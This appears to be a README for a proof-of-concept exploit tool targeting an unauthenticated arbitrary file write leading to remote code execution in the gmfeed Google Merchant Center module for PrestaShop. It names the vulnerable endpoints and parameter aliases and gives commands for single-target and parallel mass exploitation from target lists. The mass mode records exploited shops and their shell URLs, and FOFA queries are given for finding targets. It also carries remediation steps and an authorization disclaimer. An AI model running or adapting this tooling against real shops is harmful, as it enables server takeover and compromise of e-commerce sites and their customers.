CVE-2026-85520 — PrestaShop gmfeed unauthenticated arbitrary file write → RCE

Python 3 PoC for CVE-2026-85520 — MyPresta.eu / VEKIA Google Merchant Center Feed module (gmfeed) for PrestaShop — unauthenticated arbitrary file write on feed.php when “Save to file” / URL export is used. CVSS 3.1 9.3 Critical (Software).

PoCbit	https://pocbit.org/pocs/cve-2026-85520
Catalog	https://pocbit.org/pocs/
Module	gmfeed (Google Merchant Center Feed)
Vendor fix	≥ 2.3.10 (install 2.4.1+ recommended)
CWE	CWE-20 / CWE-73 / CWE-434 class issues (missing auth + path/content control on write)

---

Vulnerability summary (Türkçe)

gmfeed, PrestaShop mağazalarında Google Merchant Center için XML/CSV ürün kataloğu üreten ticari bir modüldür. Eski sürümlerde, katalog URL ile oluşturulup diske kaydedildiğinde (Save to file / cron), modules/gmfeed/feed.php uç noktası kimlik doğrulaması olmadan isteğe bağlı parametrelerle çıktı dosya adını, yolunu, uzantısını ve içeriğini kabul edebiliyordu.

Saldırgan crafted GET/POST ile sunucuda keyfi dosya yazabilir (ör. pocbit_xxxxx.php), ardından web üzerinden çalıştırarak uzaktan kod yürütme (RCE) elde eder. Bu, e-ticaret sunucusunun tam ele geçirilmesi anlamına gelir — yalnızca yetkili pentest / kendi lab shop ortamında test edin.

Vendor (MyPresta.eu) duyurusuna göre: 2.3.10 öncesi sürümler etkilidir; düzeltme save-to-file URL’lerine mağaza-özel anahtar ekler ve yetkisiz yazmayı kapatır. Eski zip’in üzerine yazmak yetmez — modül “delete module files” ile kaldırılıp 2.4.1 temiz kurulmalıdır.

---

Technical summary (English)

CVE-2026-85520 affects the gmfeed PrestaShop module (Google Merchant Center Feed by MyPresta.eu). The feed.php export script, when save-to-disk mode is reachable via URL (exportsavefile=1 and related export parameters documented in vendor changelogs), failed to enforce:

1. Authentication / store-specific secret on file-save requests (patched in 2.3.10+ with a per-shop key on save URLs).
2. Validation of filename and path — attacker-controlled names enable writing under modules/gmfeed/ or via traversal sequences.
3. Validation of file content — attacker-supplied body can be a PHP webshell, not a valid XML/CSV feed.

Impact: unauthenticated arbitrary file write → RCE (execute uploaded .php via HTTP).

Public vendor parameters referenced in release notes include export_file_format, exportsavefile, and custom export filename options added in the 2.3.x line. This PoC rotates common parameter aliases (exportfilename, exportfilecontent, export_path, etc.) against:

• /modules/gmfeed/feed.php
• /index.php?fc=module&module=gmfeed&controller=feed

---

PoC capabilities

Mode	Behavior
check	Detect gmfeed (feed.php, config.xml, markers), parse module version, flag < 2.3.10
check --aggressive	Lightweight save-to-file probe (no permanent shell; exportsavefile=0 in probe path)
exploit	Write pocbit_*.php probe with marker POCBIT-85520-OK, verify via ?pocbit=1
exploit --dry-run	Export probe requests only (no shell placement)
mass	--list + -j → hits.txt / exploited.txt + JSONL
--lab	Local mock feed.php — must show exploited: true (sanity check)
--force	Skip “module missing / patched version” guards

JSONL fields: pocbit, pocbit_catalog, pocbit_page, cve, vendor, module, product.

Safety: Default payload is a marker-only PHP stub, not a full interactive shell. Remove written files after authorized tests.

---

Requirements

• Python 3.9+
• pip install requests urllib3

---

Usage

Verify PoC logic (local lab)

cd CVE-2026-85520
python poc.py --lab

Expected: green [LAB], JSON "exploited": true, "shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php".

Single target — check

python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive

Single target — exploit

python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force

Verify manually after exploit:

https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK

Mass bulk

python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run

Outputs:

File	Content
cve_2026_85520_results.jsonl	All check rows
cve_2026_85520_exploit.jsonl	All exploit rows
hits.txt	Tab: URL, status, version
exploited.txt	Tab: URL, shell_url, version

---

Detection & FOFA / asset hints

Module presence:

body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"

Version (if exposed):

/modules/gmfeed/config.xml

Static feed artifacts (not vuln proof alone):

/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml

Note: Many shops run ≥ 2.3.10 after MyPresta’s 2026 advisory — expect patched_version or write_or_verify_failed on internet-wide lists.

---

Remediation (vendor)

1. Modules → Module manager → uninstall Google Merchant Center Feed.
2. Enable delete module files (critical — removes vulnerable feed.php copy).
3. Install gmfeed 2.4.1 (minimum 2.3.10) from MyPresta.eu account.
4. Regenerate all “Save to file” / cron URLs from Back Office (new store key).
5. Audit modules/gmfeed/ for unexpected .php files.

Reference: MyPresta security fix announcement.

---

PoCbit metadata

{
  "pocbit": "https://pocbit.org",
  "pocbit_catalog": "https://pocbit.org/pocs/",
  "pocbit_page": "https://pocbit.org/pocs/cve-2026-85520",
  "cve": "CVE-2026-85520"
}

---

Legal

Use only on systems you own or have explicit written authorization to test. Unauthorized access is illegal. PoCbit provides proof-of-concept tooling for defensive validation and patch verification.

---

GitHub repository description (copy-paste)

CVE-2026-85520 PoC (PoCbit) — PrestaShop MyPresta gmfeed ≤2.3.9 unauthenticated arbitrary file write via feed.php (Save to file URL) → RCE. check + exploit + mass bulk (--list -j). https://pocbit.org/pocs/cve-2026-85520